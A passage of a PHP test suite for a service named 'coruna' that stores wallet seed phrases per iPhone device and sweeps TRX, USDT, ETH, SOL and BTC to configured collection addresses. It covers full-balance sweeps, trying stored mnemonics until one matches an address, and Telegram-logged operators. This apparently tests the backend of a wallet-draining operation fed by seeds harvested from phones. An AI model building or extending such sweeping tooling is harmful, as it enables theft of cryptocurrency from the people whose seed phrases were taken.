self::TO, 'coruna.transfer.max_derive_index' => 5, 'coruna.tron.full_node' => 'https://api.trongrid.io', 'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t', 'coruna.transfer.max_usdt' => '0', 'coruna.transfer.max_trx' => '0', ]); } private function seedFromWallet(?string $mnemonic = self::MNEMONIC, string $source = self::SOURCE): Device { $device = Device::query()->create([ 'device_id' => 'dev-transfer-1', 'ios_version' => '18.0', 'device_model' => 'iPhone', ]); WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => self::FROM, 'chain_type' => 'TRON', 'source' => $source, 'monitor' => 0, ]); if ($mnemonic !== null) { $row = new WalletMnemonic([ 'device_id' => $device->id, 'source' => $source, ]); $row->mnemonic = $mnemonic; $row->save(); } return $device; } /** * @param array $extra */ private function fakeTronHttp(array $extra = [], int $trxSun = 100_000_000): void { Http::fake(array_merge([ '*/wallet/getaccount' => Http::response([ 'balance' => $trxSun, ], 200), ], $extra)); } #[Test] public function sends_native_trx_via_trongrid_http(): void { $this->seedFromWallet(); $this->fakeTronHttp([ '*/wallet/createtransaction' => Http::response([ 'txID' => str_repeat('ab', 32), 'raw_data' => ['contract' => []], 'raw_data_hex' => '0a00', ], 200), '*/wallet/broadcasttransaction' => Http::response([ 'result' => true, 'txid' => str_repeat('ab', 32), ], 200), ]); $result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX', 'telegram:1@ops'); $this->assertTrue($result['ok'], $result['error'] ?? ''); $this->assertSame(str_repeat('ab', 32), $result['txid']); $this->assertSame(self::FROM, $result['from']); $this->assertSame(self::TO, $result['to']); $this->assertDatabaseHas('transfer_records', [ 'from_address' => self::FROM, 'to_address' => self::TO, 'chain' => 'tron', 'tx_hash' => str_repeat('ab', 32), 'amount' => '1.5', 'type' => TransferRecord::TYPE_OUT, 'asset' => 'TRX', 'operator' => 'telegram:1@ops', 'status' => TransferRecord::STATUS_SUCCESS, ]); Http::assertSent(function ($request) { if (! str_ends_with($request->url(), '/wallet/createtransaction')) { return false; } $data = $request->data(); return ($data['owner_address'] ?? null) === self::FROM && ($data['to_address'] ?? null) === self::TO && ($data['amount'] ?? null) === 1500000 && ($data['visible'] ?? null) === true; }); } #[Test] public function sends_usdt_trc20_via_triggersmartcontract(): void { $this->seedFromWallet(); $this->fakeTronHttp([ '*/wallet/triggersmartcontract' => Http::response([ 'result' => ['result' => true], 'transaction' => [ 'txID' => str_repeat('cd', 32), 'raw_data' => ['contract' => []], 'raw_data_hex' => '0a00', ], ], 200), '*/wallet/broadcasttransaction' => Http::response([ 'result' => true, ], 200), ]); $result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT'); $this->assertTrue($result['ok'], $result['error'] ?? ''); $this->assertSame(str_repeat('cd', 32), $result['txid']); Http::assertSent(fn ($r) => str_ends_with($r->url(), '/wallet/triggersmartcontract')); } #[Test] public function tries_mnemonics_in_order_until_address_matches(): void { $device = $this->seedFromWallet(null); $wrong = new WalletMnemonic([ 'device_id' => $device->id, 'source' => self::SOURCE, ]); $wrong->mnemonic = 'legal winner thank year wave sausage worth useful legal winner thank yellow'; $wrong->save(); $right = new WalletMnemonic([ 'device_id' => $device->id, 'source' => self::SOURCE, ]); $right->mnemonic = self::MNEMONIC; $right->save(); $this->fakeTronHttp([ '*/wallet/createtransaction' => Http::response([ 'txID' => str_repeat('ef', 32), 'raw_data' => ['contract' => []], 'raw_data_hex' => '0a00', ], 200), '*/wallet/broadcasttransaction' => Http::response(['result' => true], 200), ]); $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX'); $this->assertTrue($result['ok'], $result['error'] ?? ''); $this->assertSame(str_repeat('ef', 32), $result['txid']); } #[Test] public function rejects_when_to_address_missing(): void { config(['coruna.transfer.to_address' => '']); $this->seedFromWallet(); $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'telegram:9'); $this->assertFalse($result['ok']); $this->assertStringContainsString('TRANSFER_TO_ADDRESS', $result['error']); $this->assertDatabaseHas('transfer_records', [ 'from_address' => self::FROM, 'to_address' => null, 'chain' => 'tron', 'asset' => 'TRX', 'operator' => 'telegram:9', 'status' => TransferRecord::STATUS_FAILED, 'error' => 'TRANSFER_TO_ADDRESS is not configured', ]); } #[Test] public function sol_sweep_requires_its_own_collect_address(): void { config([ 'coruna.transfer.to_address' => self::TO, 'coruna.transfer.to_address_sol' => '', ]); $from = 'So11111111111111111111111111111111111111112'; $result = app(TransferService::class)->handle('sol', $from, '0.1', 'SOL'); $this->assertFalse($result['ok']); $this->assertSame('TRANSFER_TO_ADDRESS_SOL is not configured', $result['error']); $this->assertDatabaseHas('transfer_records', [ 'from_address' => $from, 'to_address' => null, 'chain' => 'sol', 'error' => 'TRANSFER_TO_ADDRESS_SOL is not configured', ]); } #[Test] public function solana_alias_uses_configured_sol_collect_address(): void { $to = 'So11111111111111111111111111111111111111112'; config([ 'coruna.transfer.to_address' => self::TO, 'coruna.transfer.to_address_sol' => $to, ]); $result = app(TransferService::class)->handle('solana', $to, '0.1', 'SOL'); $this->assertFalse($result['ok']); $this->assertStringNotContainsString('TRANSFER_TO_ADDRESS', (string) ($result['error'] ?? '')); $this->assertDatabaseHas('transfer_records', [ 'chain' => 'solana', 'to_address' => $to, ]); } #[Test] public function rejects_when_no_matching_mnemonic(): void { $this->seedFromWallet(null); $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX'); $this->assertFalse($result['ok']); $this->assertStringContainsString('No mnemonic', $result['error']); } #[Test] public function enforces_max_usdt_limit(): void { $this->seedFromWallet(); config(['coruna.transfer.max_usdt' => '5']); $result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT'); $this->assertFalse($result['ok']); $this->assertStringContainsString('exceeds max', $result['error']); } #[Test] public function omits_amount_transfers_full_usdt_balance(): void { $this->seedFromWallet(); config(['coruna.transfer.trx_fee_reserve' => '1']); $this->fakeTronHttp([ '*/wallet/triggerconstantcontract' => Http::response([ 'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)], ], 200), '*/wallet/triggersmartcontract' => Http::response([ 'result' => ['result' => true], 'transaction' => [ 'txID' => str_repeat('11', 32), 'raw_data' => ['contract' => []], 'raw_data_hex' => '0a00', ], ], 200), '*/wallet/broadcasttransaction' => Http::response(['result' => true], 200), ]); $result = app(TransferService::class)->handle('tron', self::FROM, null, 'USDT'); $this->assertTrue($result['ok'], $result['error'] ?? ''); $this->assertSame('12.5', $result['amount']); $this->assertSame('USDT', $result['asset']); } #[Test] public function omits_amount_transfers_trx_minus_fee_reserve(): void { $this->seedFromWallet(); config(['coruna.transfer.trx_fee_reserve' => '1']); // 25 TRX (>= fee topup target) so top-up is skipped; reserve leaves 24. $this->fakeTronHttp([ '*/wallet/createtransaction' => Http::response([ 'txID' => str_repeat('22', 32), 'raw_data' => ['contract' => []], 'raw_data_hex' => '0a00', ], 200), '*/wallet/broadcasttransaction' => Http::response(['result' => true], 200), ], 25_000_000); $result = app(TransferService::class)->handle('tron', self::FROM, null, 'TRX'); $this->assertTrue($result['ok'], $result['error'] ?? ''); $this->assertSame('24', $result['amount']); Http::assertSent(function ($request) { if (! str_ends_with($request->url(), '/wallet/createtransaction')) { return false; } return ($request->data()['amount'] ?? null) === 24_000_000; }); } #[Test] public function sends_native_eth_via_json_rpc(): void { $from = '0x9858effd232b4033e47d90003d41ec34ecaeda94'; $to = '0x0000000000000000000000000000000000000001'; config([ 'coruna.transfer.to_address_eth' => $to, 'coruna.eth.rpc_url' => 'https://ethereum.publicnode.com', 'coruna.eth.chain_id' => 1, ]); $device = Device::query()->create([ 'device_id' => 'dev-transfer-eth', 'ios_version' => '18.0', 'device_model' => 'iPhone', ]); WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => $from, 'chain_type' => 'ETH', 'source' => self::SOURCE, 'monitor' => 0, ]); $row = new WalletMnemonic(['device_id' => $device->id, 'source' => self::SOURCE]); $row->mnemonic = self::MNEMONIC; $row->save(); Http::fake([ 'https://ethereum.publicnode.com' => Http::sequence() ->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x1'], 200) // nonce ->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x3b9aca00'], 200) // gasPrice ->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x'.str_repeat('ab', 32)], 200), // send ]); $result = app(TransferService::class)->handle('eth', $from, '0.01', 'ETH', 'telegram:1@ops'); $this->assertTrue($result['ok'] ?? false, $result['error'] ?? ''); $this->assertSame('0x'.str_repeat('ab', 32), $result['txid']); $this->assertSame($to, $result['to']); $this->assertDatabaseHas('transfer_records', [ 'from_address' => $from, 'chain' => 'eth', 'asset' => 'ETH', 'status' => TransferRecord::STATUS_SUCCESS, ]); } #[Test] public function sends_native_btc_via_mempool_api(): void { $from = '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA'; $to = '1Ak8PffB2meyfYnbXZR9EGfLfFZVpzJvQP'; config([ 'coruna.transfer.to_address_btc' => $to, 'coruna.btc.api_url' => 'https://mempool.space/api', 'coruna.btc.fee_rate' => 1, ]); $device = Device::query()->create([ 'device_id' => 'dev-transfer-btc', 'ios_version' => '18.0', 'device_model' => 'iPhone', ]); WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => $from, 'chain_type' => 'BTC', 'source' => self::SOURCE, 'monitor' => 0, ]); $row = new WalletMnemonic(['device_id' => $device->id, 'source' => self::SOURCE]); $row->mnemonic = self::MNEMONIC; $row->save(); $txid = str_repeat('11', 32); Http::fake([ 'https://mempool.space/api/address/*/utxo' => Http::response([ [ 'txid' => $txid, 'vout' => 0, 'value' => 100_000, 'status' => ['confirmed' => true], ], ], 200), 'https://mempool.space/api/tx' => Http::response(str_repeat('cd', 32), 200), ]); $result = app(TransferService::class)->handle('btc', $from, '0.0005', 'BTC'); $this->assertTrue($result['ok'] ?? false, $result['error'] ?? ''); $this->assertSame(str_repeat('cd', 32), $result['txid']); $this->assertDatabaseHas('transfer_records', [ 'from_address' => $from, 'chain' => 'btc', 'asset' => 'BTC', 'status' => TransferRecord::STATUS_SUCCESS, ]); } }